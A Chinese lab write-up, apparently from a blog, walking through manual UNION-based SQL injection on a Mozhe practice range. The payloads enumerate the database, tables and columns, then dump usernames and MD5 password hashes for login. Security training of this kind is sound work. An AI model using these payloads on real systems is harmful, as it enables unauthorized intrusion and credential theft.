墨者靶场 SQL手工注入漏洞测试(MySQL数据库-字符型)

1.查询注入点
?id=tingjigonggao'and 1=1 -- qwe 	//正常输出

image-20210619190721849

2.查询字段数
?id=tingjigonggao'and 1=1 order by 4 -- qwe	//正常
?id=tingjigonggao'and 1=1 order by 5 -- qwe  //报错		说明是4个字段

image-20210619190949475

3.查询库名
?id=tingjigonggao' and 1=2 union select 1,2,3,4 -- qwe		//发现2,3是输出点

image-20210619191500844

?id=tingjigonggao' and 1=2 union select 1,2,database(),4 -- qwe		//找到mozhe_discuz_stormgroup库

image-20210619191715286

4.查询表名
查询到表名	notice
?id=tingjigonggao' and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' limit 0,1 -- qwe		

image-20210619192757949

使用GROUP_CONCAT将多行数据输出成1行

查询到表名  notice,stormgroup_member
?id=tingjigonggao' and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' -- qwe

image-20210619193112032

5.查询字段
and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1 -- qwe			//查到id字段

image-20210619193721845

?id=tingjigonggao' and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_schema='mozhe_discuz_stormgroup' and table_name='stormgroup_member' limit 0,1 -- qwe		//查到字段	id,name,password,status

image-20210619193919427

6.查询字段的值
?id=tingjigonggao' and 1=2 union select 1,2,id,4 from stormgroup_member limit 0,1 -- qwe	//从第一行取第一条数据	id值为2

image-20210619194453062

	?id=tingjigonggao' and 1=2 union select 1,2,group_concat(id,name,password,status),4 from stormgroup_member
	//查询到值	2mozhe356f589a7df439f6f744ff19bb8092c00,1mozhe9af2d233fd741e755c602518e1450d471

image-20210619194949942

7.解压status=1的md5登录

image-20210619195101847

image-20210619195152694

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值